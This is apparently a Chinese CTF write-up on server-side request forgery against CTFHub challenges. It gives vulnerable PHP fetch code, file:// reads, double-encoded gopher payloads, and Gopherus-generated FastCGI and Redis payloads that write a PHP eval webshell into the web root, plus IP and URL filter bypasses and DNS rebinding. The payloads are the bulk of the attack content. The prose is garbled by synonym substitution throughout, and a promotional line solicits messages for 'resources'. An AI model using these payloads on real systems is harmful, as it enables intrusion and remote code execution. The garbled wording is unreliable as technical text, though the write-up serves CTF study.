一样平常情形下,SSRF针对的都是一些外网无法访问的内网,以是须要SSRF使目标后端去访问内网,进而达到我们攻击内网的目的。
通过SSRF,我们可以访问目标内网的redis做事,mysql做事,smpt做事,fastcgi做事等
造成漏洞的一些函数

file_get_contents():将全体文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数利用。
fopen():打开一个文件文件或者 URL。
【→所有资源关注我,私信回答“资料”获取←】1、网络安全学习路线2、电子书本(白帽子)3、安全大厂内部视频4、100份src文档5、常见安全口试题6、ctf大赛经典题目解析7、全套工具包8、应急相应条记
file_get_contents()/readfile()
<?php$url = $_GET['url'];;echo file_get_contents($url);?>
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会利用socket跟做事器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失落败,将返回false
<?php$host=$_GET['url'];$fp = fsockopen($host, 80, $errno, $errstr, 30);if (!$fp) { echo "$errstr ($errno)<br />\n";} else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?>
curl_exec()
<?php $url=$_POST['url']; $ch=curl_init($url); //创造一个curl资源curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); // 抓取url并将其通报给浏览器curl_close($ch); //关闭curl资源echo ($result); ?>
接下来我就SSRF涉及的协议和一些bypass结合一些CTF进行剖析
SSRF攻击中涉及的一些协议由于只是展示各个协议的用场,以是这里就不自己搭环境,直接用CTFHUB的技能树了
http协议
题目描述: 考试测验访问位于127.0.0.1的flag.php吧
payload: ?url=http://127.0.0.1/flag.php
这便是由于过滤 不严谨,导致我们可以访问内网。
dict协议
在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情形。
题目描述: 来来来性感CTFHub在线扫端口,听说端口范围是8000-9000哦
通过题目该当可以判断 ,跟上一道题是差不多的,但是便是端口问题
先判断哪个端口存在web做事
这里是直接用burp爆破端口就可以
但是我估计环境出问题了,一贯没有爆破出想要的端口。
这里如果爆破出的话,直接访问就行
file伪协议
题目描述: 考试测验去读取一下Web目录下的flag.php吧
file为协议就不用多说了
payload:?url=file:/var/www/html/flag.php
但是须要知道文件详细位置才能读到敏感信息。
Gopher协议
Gopher是Internet上一个非常有名的信息查找系统,它将Internet 上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处如果发起post要求,回车换行须要利用%0d%0a,如果多个参数,参数之间的&也须要进行URL编码在SSRF中常常会利用Gopher来布局GET/POST包攻击运用。
题目描述: 这次是发一个HTTP POST要求。对了,ssrf是用php的curl实现的。并且会跟踪302跳转,我准备了一个302.php,可能对你有用哦。
进入题目直接查看源码
?url=file:/var/www/html/flag.php 和 ?url=file:/var/www/html/index.php
index.php
<?phperror_reporting(0);if (!isset($_REQUEST['url'])){ header("Location: /?url=_"); exit;}$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_exec($ch);curl_close($ch);
flag.php
<?phperror_reporting(0);if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return;}$flag=getenv("CTFHUB");$key = md5($flag);if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit;}?>
这里见告我们要去用127.0.0.1访问flag.php
那道key,看这个样子是要我们POST key,但是提交页面又没有提交的按钮,以是这里就须要我们去本地新建一个POST
这里我们须要布局一个POST的数据包
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1Host: 127.0.0.1:80Content-Type: application/x-www-form-urlencodedContent-Length: 36key=00f001523d0b955749ea5e3b0ca09b5f
然后我们就可以进行url编码了,编码次数取决于我们访问次数。
第一次编码:
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7
把%0A更换成%0d%0A,结尾加上%0d%0A,并且末端要加上%0d%0a(\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=f1688c97bf2e6dda47be87e4d8f87cd7%0d%0a
然后在进行一次URL编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Df1688c97bf2e6dda47be87e4d8f87cd7%250D%250A
当然手动编码,加上繁芜的转化,缺点率大大提高,以是,我在网上找了个脚本
import urllib.parsepayload =\"""POST /flag.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 36key=c384d200658f258e5b5c681bf0aa29a8""" #把稳后面一定要有回车,回车结尾表示http要求结束tmp = urllib.parse.quote(payload)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:80/'+'_'+newresult = urllib.parse.quote(result)print(result) # 这里由于是GET要求以是要进行两次url编码
直接将编码所得,提交即可。
FastCGI协议
题目描述 : 这次.我们须要攻击一下fastcgi协议咯.大概附件的文章会对你有点帮助
给了个附件先容fastcgi协议和PHP-FPM
FastCGIWikipedia对FastCGI的阐明:快速通用网关接口(FastCommon Gateway Interface/FastCGI)是一种让交互程序与Web做事器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页做事器与CGI程序之间交互的开销,从而使做事器可以同时处理更多的网页要求。php-fpm官方对php-fpm的阐明是FPM(FastCGI 进程管理器)用于更换 PHP FastCGI 的大部分附加功能,对付高负载网站是非常有用的。也便是说php-fpm是FastCGI的一个详细实现,其默认监听9000端口
这里,附件给的复现办法虽然已经挺好的了,但是我查阅资料后,创造还有第二种做法,而且相对大略,我就用第二种做法,复现一下。
利用工具 Gopherus 天生攻击FastCGI协议的payload
python gopherus.py --exploit fastcgi/var/www/html/index.php # 这里输入的是一个已知存在的php文件echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
这里我直接参考师傅的payload,天生的payload
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH134%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/html/index.php%20%20%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%86%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
这里对其进行url二次编码,由于url会对其解码一次,curl也会解码一次,以是要编码两次。这个payload是已经进行过一次编码的,以是再编码一次即可。
gopher%3A//127.0.0.1%3A9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH134%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2586%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4%2520%257C%2520base64%2520-d%2520%253E%2520/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
然后上传成功
蚁剑连接shell
连接成功,并在根目录找到flag
Redis协议
题目描述 : 这次来攻击redis协议吧,redis://127.0.0.1:6379。资料?没有资料!
自己找!总所周知,redis做事是开在6379端口,常日是利用redis未授权访问而达到写入shell或者反弹ssh等目的。
这里我本来想着用gopherus 直接天生针对redis未授权访问,写入shell
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%271%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
但是二次编码的时候传入没有成功,不知道为什么。这里我还是用whoami师傅的方法来打。
布局redis命令:
flushallset 1 '<?php eval($_POST["whoami"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave
WHOAMI师傅的EXP脚本:
import urllibprotocol="gopher://"ip="127.0.0.1"port="6379"shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+=""+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print urllib.quote(payload) # 由于我们这里是GET,以是要进行两次url编码
天生如下payload
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
get传值,蚁剑连接。
但是我这一贯报错,就很怪
常见的bypass绕过办法这里依旧用ctfhub的题目,但是绕过方法,我会就buu和ctfshow 的干系题目进行扩展。
URL Bypass
题目描述 : 要求的URL中必须包含http://notfound.ctfhub.com,来考试测验利用URL的一些分外地方绕过这个限定吧
布局payload:
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
扩展:如果哀求以http://notfound.ctfhub开头.com 结尾的话,依旧可以利用@
payload
?url=http://notfound.ctfhub@127.0.0.1/flag.php.com
此类须要某某开头 某某结束的题目均可利用@进行绕过。
数字IP Bypass
题目描述 :这次ban掉了127以及172.不能利用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
不能利用127/172 我们可以利用进制转换等
进制转换url=http://0x7f.0.0.1/flag.phpurl=http://0177.0.0.1/flag.php扩展:当有的对跳转的地址的长度有哀求host<5url=http://0/flag.phpurl=http://127.1/flag.phphost<3url=http://0/flag.php
302跳转 Bypass
题目描述:SSRF中有个很主要的一点是要求可能会跟随302跳转,考试测验利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
302跳转便是由一个URL跳转到其余一个URL当中去。
IP被ban,改个不含127的试试
出了,我乃至没搞明白啥意思,有点懵。
DNS重绑定 Bypass
题目描述 :无
DNS重绑定DNS Rebinding攻击在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS做事器将域名解析为IP地址,然后向对应的IP地址要求资源,末了展现给用户。而对付域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修正对应的IP地址;用户再次要求该域名,就会获取一个新的IP地址。对付浏览器来说,全体过程访问的都是同一域名,以是认为是安全的。这就造成了DNS Rebinding攻击。
在自己做事器上写一个index.php内容如下:
<?phpheader("Location:http://127.0.0.1/flag.php");
然后payload访问自己这个地址就可以了。
或者也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html
直接访问
须要访问多次,由于这个域名会在两个ip之间跳转。
总结虽然这篇文章都是基于CTF来剖析SSRF干系知识的,但是我以为可以从这些CTF题目中延伸出一些渗透攻击的思路。
就比如:如果我们创造一处SSRF,我们可以利用利用file 伪协议读取敏感信息,http/s和dict协议判断内网存活主机和端口,从端口判断内网中存在的做事。
当我们创造redis/fastcgi/mysql等做事时, 我们可以利用协议gopher和工具 gopherus 进行getshell。